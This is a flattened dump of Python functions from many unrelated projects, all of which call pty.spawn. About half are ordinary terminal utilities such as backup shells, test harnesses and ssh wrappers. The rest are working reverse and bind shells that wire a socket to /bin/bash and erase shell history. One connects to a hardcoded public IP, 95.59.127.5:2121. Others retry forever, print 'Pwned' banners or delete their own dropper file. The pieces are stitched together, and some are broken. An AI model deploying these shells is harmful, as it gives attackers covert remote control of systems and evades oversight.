def restic_shell(configs: list): print("The following repositories are available\n") i = 0 all_repos = [] for config in configs: print(config["name"]) env = config.get("environment") for repo in config.get("repositories"): print("[{}] - {}".format(i, repo)) all_repos += [(env, repo)] i += 1 if i == 1: selection = 0 print("Found only one repo.") else: selection = int(input("Choose a repo: ")) env, repo = all_repos[selection] env.update({"RESTIC_REPOSITORY": repo}) print("Using: {}".format(repo)) print( "Spawning a new shell with the restic environment variables all set.") print("Try `restic snapshots` for example.") initialize_environment(env) pty.spawn(os.environ.get("SHELL")) print("You've exited your restic shell.") sys.exit(0)
def run(self, cmd=None): if cmd is None: from pty import spawn spawn("/bin/bash") else: call(cmd, shell=True) print_formatted_text("")
def main(): parser = argparse.ArgumentParser( description="Run program, acquiring the lock in MongoDB" ) parser.add_argument( "-l", "--lockname", help="Name of the lock", required=True ) parser.add_argument( "-b", "--block", help="Block execution till lock will be available", action="store_true", default=False ) parser.add_argument( "-t", "--timeout", help="Timeout for blocking", type=int, default=None ) parser.add_argument( "command", help="Command to run", nargs=argparse.ONE_OR_MORE, ) options = parser.parse_args() locked = lock.with_autoprolong_lock( options.lockname, block=options.block, timeout=options.timeout) with locked: pty.spawn(options.command)
def share(self): # XXX: Not very pythonic >:( log.debug("Establishing XMPP connection") if not self.xmpp.connect(): die("Could not connect, see xmpp.log for details") # Join all rooms muc_plugin = self.xmpp.get_plugin('xep_0045') log.debug("Joining rooms: {}".format(self.config.strategy['rooms'])) for room in self.config.strategy['rooms']: muc_plugin.joinMUC(room, self.config.options['nick']) # Process XMPP events in another thread log.debug("Spawning XMPP worker") self.xmpp.process() ''' Spawn a new shell in a pseudo terminal, pty polls with select() and notifies LineReader when data is available. There's an annoying bug right now; pty doesn't know when to die because it never gets EOF. Idk how to deal with this but you can just hit crlf twice after exiting the shell. ''' log.info("@_@ You are being watched @_@") pty.spawn(self.config.options['shell'], self.reader.read) log.info("X_X You are alone again X_X") # Close XMPP connection # XXX: If I didn't set send_close=False here, this took a long time # to exit. My guess is that hipchat doesn't properly respond to the # stream footer but idk. log.debug("Tearing down XMPP connection") self.xmpp.disconnect(send_close=False)
def main(): parser = argparse.ArgumentParser( description="Run program, acquiring the lock in MongoDB") parser.add_argument("-l", "--lockname", help="Name of the lock", required=True) parser.add_argument("-b", "--block", help="Block execution till lock will be available", action="store_true", default=False) parser.add_argument("-t", "--timeout", help="Timeout for blocking", type=int, default=None) parser.add_argument( "command", help="Command to run", nargs=argparse.ONE_OR_MORE, ) options = parser.parse_args() locked = lock.with_autoprolong_lock(options.lockname, block=options.block, timeout=options.timeout) with locked: pty.spawn(options.command)
def restic_shell(configs: List[Dict[str, Any]]) -> None: if len(configs) == 1 and len(configs[0]["repositories"]) == 1: logger.info("Found only one repository, using that one:\n") selected_config = configs[0] selected_repo = configs[0]["repositories"][0] else: print("The following repositories are available:") all_repos: List[Tuple[Dict[str, Any], str]] = [] i = 0 for config in configs: for repo in config["repositories"]: print(f"[{i}] - {config['name']}:{repo}") all_repos += [(config, repo)] i += 1 selection = int(input(f"Choose a repo [0-{i - 1}]: ")) selected_config, selected_repo = all_repos[selection] env = selected_config["environment"] env.update({"RESTIC_REPOSITORY": selected_repo}) print(f"Using: \033[1;92m{selected_config['name']}:{selected_repo}\033[0m") print( "Spawning a new shell with the restic environment variables all set.") initialize_environment(env) print("\nTry `restic snapshots` for example.") pty.spawn(os.environ["SHELL"]) print("You've exited your restic shell.") sys.exit(0)
def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close()
def play(self, **kwargs): shape = (25, 80) self.glyphs = numpy.zeros(shape, int) self.reverse = numpy.zeros(shape, bool) self.bold = numpy.zeros(shape, bool) self._raw = '' self._term = ansiterm.Ansiterm(*shape) self.command = None self._need_inventory = True self._more_inventory = False self.messages = collections.deque(maxlen=1000) self.stats = {} self.inventory = {} self.spells = {} opts = dict(character=random.choice('ran wiz'.split()), gender=random.choice('mal fem'.split()), race=random.choice('elf hum'.split()), align=random.choice('cha neu'.split())) opts.update(kwargs) handle = tempfile.NamedTemporaryFile() handle.write((self.OPTIONS % opts).encode('ascii')) handle.flush() os.environ['NETHACKOPTIONS'] = '@' + handle.name pty.spawn(['nethack'], self._observe, self._act)
def run_interactive(cmd): status = 'success' result = None print('Recording {}. Send EOF (^D) to end.'.format(cmd), end='\n\n') # This is mostly taken from the stdlib's `pty` docs with io.BytesIO() as script: def read(fd): data = os.read(fd, 1024) script.write(data) return data # TODO: update this with try/except clauses as we find exceptions pty.spawn(cmd, read) try: result = script.getvalue().decode(encoding='utf-8') except UnicodeDecodeError: result = script.getvalue().decode(encoding='cp437') print('\nSubmission recording completed.') runagain = input('Do you want to run the submission again? [y/N]: ') again = runagain.lower().startswith('y') return (status, result, again)
def bcon(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("95.59.127.5",2121)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/bash")
def main(): """Main entry point. Parse arguments and launch container.""" launch_args, docker_arguments = _parse_args() argv = ["deeplabcut_docker.sh", launch_args.container, *docker_arguments] print(_MOTD, file=sys.stderr) pty.spawn(argv) print("Container stopped.", file=sys.stderr)
def main(): if len(sys.argv) < 3: usage(sys.argv[0]) sys.exit() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if sys.argv[3] == 'udp': s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: pass try: s.connect((sys.argv[1], int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE", '/dev/null') os.putenv("HISTSIZE", '0') os.putenv("HISTFILESIZE", '0') pty.spawn(shell) s.close()
def f(path): if os.path.isfile(path): path = os.path.dirname(path) cli.note("Running a new shell in %s\n" "To exit the shell, type 'exit' and press Enter." % path) with util.Chdir(path): pty.spawn([shell_cmd])
def ptyShell(action, sock): # #platformshells = { # 'win': 'cmd.exe', # 'mac': '/bin/bash', # 'nix': '/bin/bash', # 'unk': '' # } # shellExe = platformshells[plat] shellExe = '/bin/bash' #preparing oldin = os.dup(0) oldout = os.dup(1) olderr = os.dup(2) os.dup2(sock.fileno(), 0) os.dup2(sock.fileno(), 1) os.dup2(sock.fileno(), 2) #os.putenv("HISTFILE",'/dev/null') #Shellz! pty.spawn(shellExe) # cleanup os.dup2(oldin, 0) os.dup2(oldout, 1) os.dup2(olderr, 2)
def __init__(self, cmdv, tee_fd=None, silent=False, verbose=False): if tee_fd is None: self.tee = StringIO() self.internal_fd = True else: self.tee = tee_fd if silent == True: self.silent = '' else: self.silent = silent if verbose: print('+', ' '.join(cmdv)) # ## python lambda is the only way to look into the surrounding scope. ## But then python lambda cannot do anything except a simple expression. ## hence we need both ## a method ## which can have assignments and multiple statements, but cannot see the scope. ## and a lambda ## which sees the scope, but cannot have assignements and multiple statements. ## and we need to pass in a reference, so that it is mutable from inside. ## using a one element array. ## Total: three ugly hacks, that would be a plain anonymous sub {} in perl. import pty # FIXME: this code has better signal handling than pty.spawn: # http://code.google.com/p/lilykde/source/browse/trunk/runpty.py?r=314 # FIXME: sudo needs to reprompt for a password, when behind a pty pty.spawn(cmdv, lambda fd: self.tee_read(fd))
def sheller(arg): global shell, shell_input_reader, shell_output_writer os.dup2(shell_input_reader, 0) os.dup2(shell_output_writer, 1) os.dup2(shell_output_writer, 2) while True: pty.spawn('/bin/bash')
def get_shell(): pty.spawn("/bin/fish") return asyncio.create_subprocess_exec("/bin/fish", stdout=asyncio.subprocess.PIPE, stdin=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, bufsize=0)
def main(): # Read in the config config = configparser.ConfigParser() config.read('config.ini') # Setup Mattermost connection mm = mattermost.MMApi(config["mattermost"]["url"]) mm.login(bearer=config["mattermost"]["token"]) user = mm.get_user() # Check for team id if "team_id" not in config["mattermost"]: available_teams = mm.get_teams() eprint("No team_id set in config.ini, please select one:") for team in available_teams: eprint(f" - {team['display_name']}: {team['id']}") return # Check for channel id if "channel_id" not in config["mattermost"]: available_channels = mm.get_channels_for_user( user["id"], config["mattermost"]["team_id"]) eprint("No channel_id set in config.ini, please select one:") for channel in available_channels: eprint(f" - {channel['display_name']}: {channel['id']}") return mm_ws = mattermost.ws.MMws(lambda mm_ws, data: handle_ws(mm_ws, data, pty), mm, config["mattermost"]["ws_url"]) # Spawn a new bash shell, sending all output to Mattermost pty.spawn("/bin/bash", lambda fd: read_from_pty(fd, mm, config)) pty.fork()
def run(self): global tty_has_quit print("TTY cast started") os.environ["TERM"] = "linux" pty.spawn(SHELL, master_read) print("TTY cast finished") os._exit(0)
def post_chroot(step, echo, run, shell): """Post-installation steps (run in chroot)""" # interactive shell in chroot after installation # comment this out to make it exit automatically step('Post-installation step (shell in chroot)') import pty pty.spawn('bash')
def execTTY(): import pty # import tty # fileno = sys.stdin.fileno() # tty.setraw(fileno) # tty.setcbreak(fileno) pty.spawn(sys.argv) # respawns the process in TTY sys.exit(0)
def start_shell(self): os.dup2(self.sock.fileno(), 0) os.dup2(self.sock.fileno(), 1) os.dup2(self.sock.fileno(), 2) os.unsetenv('HISTFILE') os.unsetenv('HISTFILESIZE') pty.spawn(self.bash) self.close()
def main(): s = sctpsocket_tcp(socket.AF_INET) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close()
def shell(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv('HISTFILE', '/dev/null') pty.spawn('/bin/bash') s.close()
def main(): s = sctpsocket_tcp(socket.AF_INET) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close()
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close()
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') # Don't record any history pty.spawn("/bin/bash") # Spawn a bash shell with pty s.close()
def inpty(argv): output = [] def reader(fd): c = os.read(fd, 1024) while c: output.append(c) c = os.read(fd, 1024) pty.spawn(argv, master_read=reader) return ''.join(output)
def run(self): import sys, socket, pty try: s = socket.socket() s.settimeout(5) s.connect((LHOST, LPORT)) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn("/bin/sh") except: pass
def runCmd(cmd): global devnullFd global master_read if args.verbose: print("Launching... ", cmd) cmd = splitWithQuotes(cmd); # Example cmd: dmtcp_launch screen ... ptyMode = False for str in cmd: # Checkpoint image can be emacs23_x, or whatever emacs is a link to. # vim can be vim.gnome, etc. if re.search("(_|/|^)(screen|script|vim.*|emacs.*|pty|tcsh|zsh)(_|$)", str): ptyMode = True try: os.stat(cmd[0]) except: raise CheckFailed(cmd[0] + " not found") if ptyMode: # FOR DEBUGGING: This can mysteriously fail, causing pty.fork() to fail try: (fd1, fd2) = os.openpty() except OSError as e: print("\n\n/dev/ptmx:"); os.system("ls -l /dev/ptmx /dev/pts") raise e else: os.close(fd1); os.close(fd2) (pid, fd) = pty.fork() if pid == 0: # Close all fds except stdin/stdout/stderr os.closerange(3,1024) signal.alarm(300) # pending alarm inherited across exec, but not a fork # Problem: pty.spawn invokes fork. alarm() will have no effect. pty.spawn(cmd, master_read) sys.exit(0) else: return MySubprocess(pid) else: if cmd[0] == BIN+"dmtcp_coordinator": childStdout = subprocess.PIPE # Don't mix stderr in with childStdout; need to read stdout if args.verbose: childStderr = None else: childStderr = devnullFd elif args.verbose: childStdout=None # Inherit child stdout from parent childStderr=None # Inherit child stderr from parent else: childStdout = devnullFd childStderr = subprocess.STDOUT # Mix stderr into stdout file object # NOTE: This might be replaced by shell=True in call to subprocess.Popen proc = subprocess.Popen(cmd, bufsize=BUFFER_SIZE, stdin=subprocess.PIPE, stdout=childStdout, stderr=childStderr, close_fds=True) return proc
def get_shell(): HOST = "10.10.14.2" PORT = 9091 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/bash")
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') os.putenv("HISTSIZE", 0) pty.spawn("/bin/bash") s.close() os.remove('/tmp/.x.py')
def execute(): #f= open("/tmp/teste.txt","w+") #f.write("UID: %d\n" % os.getuid()) #f.close() os.dup2(sys.stderr.fileno(), sys.stdin.fileno()) os.dup2(sys.stderr.fileno(), sys.stdout.fileno()) print "[*] Pwned by M4v3r1ck, enjoy your shell!" pty.spawn("/bin/bash")
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(),0) os.dup2(rem.fileno(),1) os.dup2(rem.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close()
def terminal2(self, cpid): """ This function takes a pid of a running container and opens it in xterm if its available """ nsenter = ('sudo nsenter -m -u -n -i -p -t {0} /bin/bash'.format(cpid)) if os.getenv('DISPLAY', "") == "": pty.spawn(nsenter.split()) else: mycommand = "xterm -T {0} -e {1}".format(cpid, nsenter) subprocess.Popen([mycommand], stdout=subprocess.PIPE, shell=True)
def main(): s = sctpsocket_tcp(socket.AF_INET) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(), 0) os.dup2(rem.fileno(), 1) os.dup2(rem.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close()
def gpg(*args): argv = ['gpg'] + list(args) for n in xrange(3): pty.spawn(argv) pid, status = os.wait() status = os.WEXITSTATUS(status) if status == 0: break else: print 'Failure running', ' '.join(argv) sys.exit(status)
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close()
def main(args): parser = argparse.ArgumentParser(description="Demonstrate commands on demand.") parser.add_argument('script', help='The script to draw commands from.') parser.add_argument('command', nargs='+', help='The interpreter (including any arguments to it)' 'to run the lines from script in.') options = parser.parse_args(args) script_reader = make_reader(options.script) pty.spawn(options.command, stdin_read=script_reader)
def join(self, new_tty=False): """Although this is designed for fooling processes (like su) to read from stdin when it's not a tty, it seems to work OK to avoid pty ownership issues.""" args = ['screen', '-r', self.name] if new_tty: # TODO: # Can we do this less hackily? I think it messes up the console # because it doesn't fully replace streams. Dup2? pty.spawn(args) else: self._pipe(args).wait()
def spawn_vim(vim_command='vim', rcfiles=[], files_to_edit=[]): import pty command = [vim_command, '-u'] if rcfiles: command.extend(rcfiles) else: command.append('NONE') command.extend(files_to_edit) pty.spawn(command)
def __init__(self, host="localhost", username="******"): (self.master, self.slave) = pty.openpty() (self.pid, self.fd) = pty.fork() if self.pid == 0: pty.spawn(["ssh", "%s@%s" % (username, host)], self.master_read, self.slave_read) else: attr = fcntl.fcntl(self.fd, fcntl.F_GETFL) attr |= os.O_NONBLOCK fcntl.fcntl(self.fd, fcntl.F_SETFL, attr) self.outputLock = thread.allocate_lock() self.running = True self.outputText = "" self.outputPresent = False thread.start_new_thread(self.keepReading, ())
def run(user, cmd, interactive=False): ''' Run ``cmd`` as ``user``. If ``interactive`` is True, save any curses status and synchronously run the command in foreground. Otherwise, run the command in background, discarding any output. special user -2 means: current user ''' prefix = [] cur_uid = os.getuid() try: cur_user = pwd.getpwuid(cur_uid).pw_name except: cur_user = cur_uid if user != cur_user and user != -2: if cur_uid == 0: prefix = ['su', user] if user == 'root': prefix = ['sudo'] else: prefix = ['sudo', '-u', user] if interactive: # Prepare screen for interactive command curses.savetty() curses.nocbreak() curses.echo() curses.endwin() # Run command pty.spawn(prefix+cmd) # Restore screen curses.start_color() # load colors curses.use_default_colors() curses.noecho() # do not echo text curses.cbreak() # do not wait for "enter" curses.curs_set(0) # hide cursor curses.mousemask(curses.ALL_MOUSE_EVENTS) curses.resetty() else: with open('/dev/null', 'w') as dev_null: subprocess.Popen( prefix+cmd, stdout=dev_null, stderr=dev_null, close_fds=True, )
def shellUnix(fdr, fdw): # fork it is pid = os.fork() if pid: return pid else: # redirect stdin/stdout/stderr to our pipes os.dup2(fdw[0],0) os.dup2(fdr[1],1) os.dup2(fdr[1],2) # execute shell - with PTY pty.spawn("/bin/sh")
def spawn_shell(username): """ Detach from the controlling terminal, change UID to that of username and spawn a shell in their home directory. """ passwd_file = read_passwd() if not username in passwd_file: log("Account not found.") return False user = passwd_file[username] uid = user[1] gid = user[2] home_dir = user[4] shell = user[5] log("Defining environment.") os.environ["HOME"] = home_dir os.environ["USER"] = username os.environ["SHELL"] = shell screen = _curses.initscr() terminal_width = screen.getmaxyx()[1] _curses.endwin() os.environ["COLUMNS"] = str(terminal_width) if not "TERM" in os.environ: os.environ["TERM"] = "dumb" log("Changing UID") os.setgid(int(gid)) os.setuid(int(uid)) if not os.path.isdir(home_dir): home_dir = "/" log("Moving into %s" % home_dir) os.chdir(home_dir) log("Detaching from TTY") log("Spawning shell.") pty.spawn(shell) if os.path.isfile("/usr/bin/clear"): os.system("clear") return True
def main(port): try: port = int(port) except ValueError: print ("This does not seem to be a valid number.") return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_IP, socket.SO_REUSEADDR, 1) s.bind(("", port)) s.listen(1) (conn, address) = s.accept() for x in range(3): os.dup2(conn.fileno(), x); pty.spawn("/bin/bash") s.close()
def connect(srv_model, ctx): ssh_command = shutil.which("ssh") if not ssh_command: raise ValueError("Cannot find ssh command") ssh_command = [ssh_command] ssh_command.append("-4") ssh_command.append("-tt") ssh_command.append("-x") ssh_command.extend(("-o", "UserKnownHostsFile=/dev/null")) ssh_command.extend(("-o", "StrictHostKeyChecking=no")) ssh_command.extend(("-l", srv_model.username)) ssh_command.extend(("-i", ctx.obj["identity_file"])) ssh_command.extend(ctx.obj["ssh_args"]) ssh_command.append(srv_model.ip) LOG.debug("Execute %s", ssh_command) pty.spawn(ssh_command)
def run_feature(self, *args, **kwargs): """ Run a feature and return the (exitcode, output) tuple. :param args: Arguments to pass to the Aloe subprocess :param terminal: Whether to run in a terminal :returns: (exit code, output) """ # Python 2 doesn't support named kwargs after star-args terminal = kwargs.pop('terminal', False) if kwargs: raise TypeError("Invalid arguments.") args = [sys.executable, '-c', 'import aloe; aloe.main()'] + list(args) # Ensure Aloe itself is on the path with set_environ(PYTHONPATH=ROOT_PATH): if terminal: try: import pty except ImportError: raise unittest.SkipTest("PTY support unavailable.") chunks = [b''] def read(file_desc): """Store the subprocess output.""" data = os.read(file_desc, 1024) chunks.append(data) return data with set_environ( COLORTERM='', TERM='xterm-256color', TERM_PROGRAM='', ): status = pty.spawn(args, read) # pylint:disable=assignment-from-no-return # On Python 2, pty.spawn doesn't return the exit code if status is None: (_, status) = os.wait() # pylint:disable=no-member return status, b''.join(chunks) try: output = subprocess.check_output( args, stderr=subprocess.STDOUT, ) return 0, output except subprocess.CalledProcessError as ex: return ex.returncode, ex.output
def run(self): self.running = True try: while self.running: try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.connect((self.ip, int(self.port))) except: SignalHandler.threadSleep(int(self.sleep), self) continue os.dup2(self.sock.fileno(),0) os.dup2(self.sock.fileno(),1) os.dup2(self.sock.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") self.closeCon() except: pass # Always keep the reverse shell running!
def main(): if len(sys.argv) != 3: usage(sys.argv[0]) sys.exit(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((socket.gethostbyname(sys.argv[1]), int(sys.argv[2]))) print "[+]Connect OK." except: print "[-]Can't connect" sys.exit(2) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") pty.spawn(shell) s.close()
def main(): if len(sys.argv) != 3: usage(sys.argv[0]) sys.exit(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.bind((sys.argv[1], int(sys.argv[2]))) s.listen(0) print "[+]Start Server." except Exception as e: print "[-]Error Happened: %s" %e.message sys.exit(2) while True: c = s.accept() os.dup2(c[0].fileno(), 0) os.dup2(c[0].fileno(), 1) os.dup2(c[0].fileno(), 2) # It's important to use pty to spawn the shell. pty.spawn("/bin/sh") c[0].close()
def runCmd(cmd): global devnullFd global master_read if args.verbose: print "Launching... ", cmd cmd = splitWithQuotes(cmd) # Example cmd: dmtcp_launch screen ... ptyMode = False for str in cmd: # Checkpoint image can be emacs23_x, or whatever emacs is a link to. # vim can be vim.gnome, etc. if re.search("(_|/|^)(screen|script|vim.*|emacs.*|pty)(_|$)", str): ptyMode = True try: os.stat(cmd[0]) except: raise CheckFailed(cmd[0] + " not found") if ptyMode: # FOR DEBUGGING: This can mysteriously fail, causing pty.fork() to fail try: (fd1, fd2) = os.openpty() except OSError, e: print "\n\n/dev/ptmx:" os.system("ls -l /dev/ptmx /dev/pts") raise e else: os.close(fd1) os.close(fd2) (pid, fd) = pty.fork() if pid == 0: # Close all fds except stdin/stdout/stderr os.closerange(3, 1024) signal.alarm(300) # pending alarm inherited across exec, but not a fork # Problem: pty.spawn invokes fork. alarm() will have no effect. pty.spawn(cmd, master_read) sys.exit(0) else: return MySubprocess(pid)
def pty_check_call(cmd): """ Runs the given command in a subprocess with I/O redirected through a pty. This ensures isatty(3) will return 1. An exception is raised if the command exits with non-zero status. """ # python2.7 doesn't return the exitcode here: pty.spawn(cmd) # get exit status of first child (pid, status) = os.waitpid(-1, 0) returncode = 1 if status == 0: returncode = 0 elif os.WIFEXITED(status): returncode = os.WEXITSTATUS(status) print("PID %d exited with status %d" % (pid, returncode)) elif os.WIFSIGNALED(status): signal = os.WTERMSIG(status) print("PID %d exited with signal %d" % (pid, signal)) else: print("PID %d exited with non-zero status 0x%02x" % (pid, status)) if returncode > 0: raise subprocess.CalledProcessError(returncode, cmd)
def editimg(image): if (image is None): squashfs_file = get_from_config("images", "trg_img", dist) else: squashfs_file = image if not os.path.isfile(squashfs_file): sys.exit("The image file {0} doesn't exist.".format(squashfs_file)) # Extract the image. print "Extracting {0} to {1} ...".format(squashfs_file, work_dir) run(["unsquashfs", "-f", "-d", work_dir, squashfs_file]) # Work in the image os.chdir(work_dir) print "Entering into a bash shell to edit the image. ^d when you have finished" os.putenv("PROMPT_COMMAND", "echo -ne '\e[1;31m clara images> \e[0m'") pty.spawn(["/bin/bash"]) # Rename old image and recreate new one os.rename(squashfs_file, squashfs_file + ".old") print("Previous image renamed to {0}.".format(squashfs_file + ".old")) print "Recreating image at {0}".format(squashfs_file) run(["mksquashfs", work_dir, squashfs_file, "-no-exports", "-noappend"]) os.chmod(squashfs_file, 0o755)
import sys import pty args = " ".join(sys.argv[2:]) pty.spawn([sys.argv[1], args])